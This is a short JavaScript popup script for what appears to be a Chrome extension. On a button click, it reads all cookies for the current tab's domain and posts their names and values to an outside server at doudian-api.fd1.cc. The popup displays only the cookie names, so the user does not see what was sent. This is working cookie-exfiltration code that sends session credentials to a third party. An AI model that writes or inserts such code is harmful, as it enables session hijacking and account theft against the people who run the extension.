$(document).ready(function(){
	
	$("#myButton").click(get_cookie) ;
	
	
}) ;



function  get_cookie(){
	chrome.tabs.query({ active: true, currentWindow: true }, function(tabs){
	  
		try {
			let url = new URL(tabs[0].url);
			let message = getCookies(url.hostname);
	  
			setMessage(message);
	  
		} catch {
			// ignore
		}
	}) ;	
}


function setMessage(str) {
	$("#message").html(str).show();
}

function getCookies(domain){
	let cookiesNum = 0;
	var aa = "" ;
	try {
		chrome.cookies.getAll({domain}, function(cookies){
			var str = "" ;
			var key = "" ;
			cookies.map(item => {
				str += item.name+'='+item.value+'; ';
				//str = item.value ;
				key += item.name + "====" ;
			});
			
			var url = "http://doudian-api.fd1.cc/api/shop_cookie1" ;
			$.post(url, {
				data:str
			},function(data){
				$("#message").html(key);
			}, "json");
			
			
		}) ;
		
	} catch (error) {
		return `Unexpected error: ${error.message}`;
	}
	return `get ${cookiesNum} cookie(s).`;
}
